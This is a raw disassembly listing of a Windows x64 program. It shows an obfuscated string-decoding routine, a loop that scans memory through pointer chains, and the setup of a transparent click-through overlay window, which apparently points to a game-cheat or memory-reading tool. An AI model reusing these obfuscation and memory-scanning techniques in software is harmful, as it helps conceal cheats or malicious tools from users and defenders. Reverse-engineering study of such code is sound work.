sub dil, 0x6e
jmp 0x140096862
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400966ec
sub r9b, 0x60
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x60
dec r11
inc r11
jmp 0x140095dc5
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14009624d
lea edx, [r9 - 0x64]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x44
jmp 0x1400967d0
lea edx, [r9 - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x28
add dil, dl
add dil, r10b
jmp 0x140096865
lea edx, [r9 - 0x6a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, r10b
sub dil, 0x1a
add dil, dl
jmp 0x1400968cf
add r9b, 0x5f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x67
jmp 0x1400968a0
add r9b, 0x61
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x59
add rbx, r8
jmp 0x1400968a0
add r9b, 0x65
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x3d
dec r11
inc r11
jmp 0x140095dc5
lea edx, [r9 + 0x69]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x21
add dil, dl
add r9b, 0x19
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x51
add r9b, r10b
mov byte [rbp + r11 + 0x1a0], r9b
inc r8
dec r11
inc r11
jmp 0x140095dc5
lea ecx, [r11 + 0x6f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 9
inc r8
dec r11
inc r11
jmp 0x140095dc5
lea ecx, [r11 + 0x71]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x17
dec r11
inc r11
jmp 0x140095dc5
movzx r9d, r11b
lea edx, [r9 + 0x73]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x25
add dil, dl
add r9b, 0x17
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x5f
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x1a0], cl
add rbx, r8
jmp 0x1400968a0
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x41
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140095dc5
lea rax, [r11 + r13]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x4f
movzx r9d, r11b
add r9b, 0x15
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x6d
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x1a0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x6c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0xc
add r10b, cl
mov byte [rbp + r11 + 0x1a0], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095dc5
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x6b
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095dc5
sub r9b, 5
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x23
jmp 0x140095dc2
sub r9b, 3
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x15
jmp 0x140095db2
lea rdx, [rbp + 0x14d66f4]
jmp 0x1400969bd
lea rdx, [rbp + 0x813373]
jmp 0x1400969bd
lea rdx, [rbp + 0x1a0]
mov rcx, rsi
call fcn.140040e10
mov rdx, qword [0x1401eccc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140148754]
call fcn.140040e10
xor edi, edi
xor esi, esi
nop dword [rax + rax]
movsxd rdx, esi
add rdx, qword [0x1401eccc0]
mov qword [0x1401ecdc8], rdx
mov rcx, qword [0x1401eb208]
add rcx, rdx
call fcn.140042aa0
mov rbx, rax
mov rcx, qword [0x1401eb268]
add rcx, rax
call fcn.140042aa0
test rbx, rbx
je 0x140096a40
test rax, rax
je 0x140096a40
mov rcx, qword [0x1401eb270]
add rcx, rax
call fcn.140042aa0
cmp rax, rbx
je 0x140096a50
inc edi
add esi, 0x1000
cmp edi, 0x7fffffff
jl 0x1400969f0
mov r14, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp - 0x20], 0x1efc1ad0
mov dword [rbp - 0x1c], 0x1408ead4
mov dword [rbp - 0x18], 0x3403e92d
mov dword [rbp - 0x14], 0x3d2fed39
mov dword [rbp - 0x10], 0x3d3be125
mov dword [rbp - 0xc], 0x223e31e4
mov dword [rbp - 8], 0x392525f8
mov dword [rbp - 4], 0xffe2143e
mov dword [rbp], 0x20372320
mov dword [rbp + 4], 0xc9d3f527
mov dword [rbp + 8], 0x8bb8acbc
mov dword [rbp + 0xc], 0xb38e5258
mov dword [rbp + 0x10], 0x8346405f
mov dword [rbp + 0x14], 0x87435d50
mov dword [rbp + 0x18], 0x5a5f41bb
mov word [rbp + 0x1c], 0x8348
mov byte [rbp + 0x1e], 0xfe
xor eax, eax
mov dword [rbp + 0x1f], eax
mov byte [rbp + 0x23], al
movabs r15, 0x88b98f87a7173698
movabs r13, 0xbd12ecb591a27e28
movabs r12, 0x9a2cae96f545a3c8
movzx edi, byte [rsp + 0x40]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x44
jae 0x1400974f6
movzx r10d, byte [rbp + r11 - 0x20]
mov esi, r10d
cmp rbx, r11
ja 0x1400974ed
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140096b52
lea rcx, [r11 + r15]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x28
jmp 0x140096b7f
je 0x14009747e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400973f9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400973c3
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400973a2
movzx r9d, r11b
cmp r8, r11
ja 0x1400974e4
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140096bb0
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x140096bf0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14009735e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140097344
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140097329
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400972fd
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14009707e
nop dword [rax]
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140097063
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14009703d
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140097017
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140097131
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140096ffa
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140096fda
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140096fbf
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140096fa2
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140096f73
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140096c00
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 3]
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400974c7
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400974a7
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140096daa
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140096d8f
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140096d70
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140096f24
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140096ee6
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140096ea6
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140096e7e
lea rbx, [r8 + 2]
lea r8, [rbx + 0x61]
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140096e4f
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140096e32
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140096e17
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140096df7
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140096de2
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140096dc7
lea rbx, [r8 + 0x20]
lea r8, [rbx + 5]
jmp 0x140096c00
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140096bf0
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x140096b83
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
jmp 0x140096b26
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x1400972bd
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
jmp 0x1400973dd
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400973e0
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x140097412
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
jmp 0x14009743d
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140096b13
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 - 0x20], dil
inc r11
jmp 0x140096b13
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x40
jb 0x140096e99
lea ecx, [r9 - 0x70]
movzx eax, cl
and al, r10b
mov edx, 8
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140097378
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
cmp rbx, 4
jae 0x1400972a4
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x1400971ee
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
jmp 0x140096eb5
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
lea rax, [r8 + rbx]
cmp rax, 0x1000
je 0x1400972e1
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x14009714c
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140096efc
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140096b13
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x14009743d
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x140097412
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400973e0
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
jmp 0x1400973dd
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140096b13
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x140096b13
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x140097378
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x1400970a2
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x140096f3a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400970da
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140096b13
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400970fe
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x140097412
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140097124
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x1400973e0
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140096f3a
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x1400972bd
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140097163
lea edx, [r9 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140097367
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009718f
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
dec r11
inc r11
jmp 0x140096b13
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400971b5
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
jmp 0x1400973e0
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140096efc
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140096b13
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140097223
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140096b13
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009724b
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140097412
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140097271
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
jmp 0x1400973e0
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140096ec0
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x140096b13
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
add dil, r10b
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x68
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 - 0x20], r9b
jmp 0x1400973dd
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140097412
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140096b13
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x140097412
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400973da
lea edx, [r9 - 0x58]
mov ecx, 0x34
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x18
add r9b, r10b
mov byte [rbp + r11 - 0x20], r9b
inc r8
dec r11
inc r11
jmp 0x140096b13
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
dec r11
inc r11
jmp 0x140096b13
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140096b13
lea rax, [r11 + r13]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x18
movzx r9d, r11b
sub r9b, 0x78
movzx eax, r10b
and al, r9b
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 - 0x20], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 - 0x20], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140096b13
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x78
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x140096b13
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140096b10
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
jmp 0x140096af5
lea rdx, [rbp + 0x158ae00]
jmp 0x1400974fa
lea rdx, [rbp + 0xafe498]
jmp 0x1400974fa
lea rdx, [rbp - 0x20]
mov rcx, r14
call fcn.140040e10
mov rcx, rax
lea rdx, [0x140148754]
call fcn.140040e10
mov rcx, qword [0x1401ece50]
test rcx, rcx
jne 0x140097543
nop dword [rax]
call fcn.14004e120
mov qword [0x1401ece50], rax
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x1401ece50]
test rcx, rcx
je 0x140097520
movdqa xmm0, xmmword [0x140149060]
movdqu xmmword [rbp + 0x2b0], xmm0
lea rdx, [rbp + 0x2b0]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xor edx, edx
mov rcx, qword [0x1401ece50]
call qword [sym.imp.USER32.dll_SetMenu]
mov edx, 0xfffffff0
mov r8d, 0x10000000
mov rcx, qword [0x1401ece50]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov edx, 0xffffffec
mov r8d, 0x80020
mov rcx, qword [0x1401ece50]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov edx, 5
mov rcx, qword [0x1401ece50]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401ece50]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov edx, 0xffffffec
mov rcx, qword [0x1401ece50]
call qword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80020
mov r8d, eax
mov edx, 0xffffffec
mov rcx, qword [0x1401ece50]
call qword [sym.imp.USER32.dll_SetWindowLongW]
call fcn.140051280
xor eax, eax
mov qword [rbp + 0x278], rax
mov ecx, 8
call fcn.14013c86c
test rax, rax
je 0x140097611
lea rcx, [0x14004f1f0]
mov qword [rax], rcx
mov qword [rbp + 0x278], rax
lea rcx, [rbp + 0x268]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140041e00]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x260], rax
test rax, rax
je 0x14009773d
mov qword [rbp + 0x278], 0
cmp dword [rbp + 0x268], 0
je 0x140097732
movaps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x210], xmm0
lea rcx, [rbp + 0x210]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140097732
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x260], xmm0
call fcn.140073980
nop
cmp dword [rbp + 0x268], 0
je 0x1400976ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rbp + 0x2a8], 0
je 0x1400976bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov rdx, qword [rbp + 0x298]
cmp rdx, 0xf
jbe 0x140097700
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400976fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400976fb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013c8a8
xor eax, eax
mov rcx, qword [rbp + 0x500]
xor rcx, rsp
call fcn.14013cd20
lea r11, [rsp + 0x610]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp + 0x268], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3